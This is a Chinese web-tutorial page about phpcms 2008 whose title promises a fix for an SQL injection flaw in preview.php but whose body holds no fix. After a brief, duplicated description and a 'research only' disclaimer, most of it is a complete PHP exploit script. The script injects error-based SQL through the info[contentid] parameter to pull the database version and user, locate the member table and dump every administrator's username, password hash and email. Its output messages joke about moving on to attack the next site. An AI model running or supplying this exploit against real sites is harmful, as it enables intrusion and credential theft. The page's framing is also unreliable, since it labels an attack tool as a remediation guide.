您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
phpcms的/preview.phpSQL注入漏洞修复方法
梁尉寒2025-06-06phpcms教程已有人查阅
导读phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。
漏洞描述:
phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。
phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。
测试方法:
@Sebug.net dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
可能使用的时候要更改一下User-Agent,否则注入不成功。
注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。
phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。
测试方法:
@Sebug.net dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
可能使用的时候要更改一下User-Agent,否则注入不成功。
注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
<?php
/**
* Date: 24-11-24
* Time: 下午8:36
* Name: phpcms2008_preview.php
* 独自等待博客:http:// .waitalone.cn/
*/
print_r('
+------------------------------------------------------+
PHPCMS2008 preview.php 注入EXP
Site:http:// .waitalone.cn/
Exploit BY: 独自等待
Time:2013-11-24
+------------------------------------------------------+
');
if($argc <3){
print_r('
+------------------------------------------------------+
Useage: php '. $argv[0].' host path
Host: target server (ip/hostname)
Path: path of phpcms
Example: php '. $argv[0].' localhost /phpcms
+------------------------------------------------------+
');
exit;
}
error_reporting(7);
//统计时间
$start_time = func_time();
$host = $argv[1];
$path = $argv[2];
$cookie ='';//请把会员cookie写入此变量中
if($cookie =='')exit('请注册会员后写入cookie到cookie变量中。');
if(preg_match('/MySQL Query/i', send_pack("'"))){
//数据库版本
$db_ver ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
echo '数据库版本:'. get_info($db_ver)."\n";
//数据库用户
$db_user ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
echo '数据库用户:'. get_info($db_user)."\n";
//获取用户表
$db_member ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
$member = get_info($db_member);
//获取管理员数量
$db_count ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
$ad_count = get_info($db_count);
echo '管理员表 有--['. $ad_count .']--个管理员'."\n";
//显示注入数据
foreach(range(0,($ad_count -1))as $i){
$ad_pass ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
echo '管理员['.($i +1).']-->'. get_info($ad_pass)."\n";
}
}else{
exit("报告大人,网站不存在此漏洞,你可以继续秒下一个!\n");
}
//提取返回信息
function get_info($info)
{
preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
if(preg_match('/charset=utf-8/i', send_pack($info))){
return iconv('utf-8','gbk//IGNORE', $match_string[1]);
}else{
return $match_string[1];
}
}
//发送数据包函数
function send_pack($cmd)
{
global $host, $path, $cookie;
$data ="GET ". $path ."/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2". urlencode($cmd)." HTTP/1.1\r\n";
$data .="Host: ". $host ."\r\n";
$data .="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0\r\n";
$data .="Cookie:". $cookie ."\r\n";
$data .="Connection: Close\r\n\r\n";
//echo $data;
//这里一定要2个\r\n否则将会一直等待并且不返回数据
$fp =@fsockopen($host,80, $errno, $errstr,30);
//echo ini_get('default_socket_timeout');//默认超时时间为60秒
if(!$fp){
echo $errno .'-->'. $errstr;
exit('Could not connect to: '. $host);
}else{
fwrite($fp, $data);
$back ='';
while(!feof($fp)){
$back .= fread($fp,1024);
}
fclose($fp);
}
return $back;
}
//时间统计函数
function func_time()
{
list($microsec, $sec)= explode(' ', microtime());
return $microsec + $sec;
}
echo '脚本执行时间:'. round((func_time()- $start_time),4).'秒。';
?>
本文标签:
很赞哦! ()
相关教程
图文教程
phpcms新建模型的步骤方法
phpcms 怎么新建模型?登录PHPCMS后台,选择管理内容(顶部导航)--模型管理(左侧导航最下面)选择添加模型,弹出窗口,按照你的需求填写,这里我写测试模型,点击确定保存
phpcms手机端怎么取消伪静态
若需取消PHPCMS手机端伪静态:注释掉include/extend.func.php中的import_right();修改include/mobile.config.php中正则表达式,允许URL包含字母、数字、下划线和连字符
phpcms调用全站代码示例
phpcms模板标签没有调用全站较新发布的数据所以参考phpcms本身自带的lists方法写了一个Countlists调用全站数据
phpcms首页模板修改方法示例
install_package -> phpcms -> languages(语言包)-> libs(系统的类)-> model(模型)-> plugin(插件)-> templates(模板文件夹*) -> default(系统默认模板文件夹)-> content(主要使用的内容)
相关源码
-
(自适应)工业机械设备产品介绍免费pbootcms源码下载本网站模板基于PbootCMS内核精心开发,为机械设备与工业产品制造企业量身打造。设计充分考量行业特性,突出产品展示与技术实力呈现查看源码 -
(自适应)互联网建站网络公司个人工作室网站模板基于PbootCMS内核开发,围绕「技术方案展示」「成功案例库」「服务流程说明」三大模块构建,支持PC与移动端数据实时同步。附带包含客户评价、行业解决方案的完整测试数据包查看源码 -
(PC+WAP)红色户外岗亭钢结构岗亭pbootcms网站模板为钢结构岗亭、户外设施企业打造的高端响应式营销门户,基于PbootCMS开源内核深度开发,采用HTML5自适应架构,实现PC与移动端数据实时同步展示。查看源码 -
(PC+WAP)绿色日志美文文学说说博客网站pbootcms模板除日志博客类网站外,通过替换图文内容可快速适配:心情日记分享平台、文学创作社区、朋友圈内容聚合站、美文鉴赏网站、读书笔记平台等应用场景。查看源码 -
(PC+WAP)历史复古古典古籍文章资讯类pbootcms模板下载本模板基于PbootCMS系统开发,为古籍研究、历史文献类网站设计,特别适合展示古典书籍、历史档案等文化内容。采用复古风格设计,同时具备现代化响应式布局,确保在PC和移动设备上都能呈现优雅的阅读体验。查看源码 -
(自适应响应式)运动健身瑜伽俱乐部网站pbootcms源码下载为健身瑜伽俱乐部设计的响应式网站模板,采用PbootCMS内核开发,可快速搭建专业级企业官网。模板默认适配运动健身行业视觉风格,用户可通过替换图文内容灵活应用于其他服务行业。查看源码
| 分享笔记 (共有 篇笔记) |
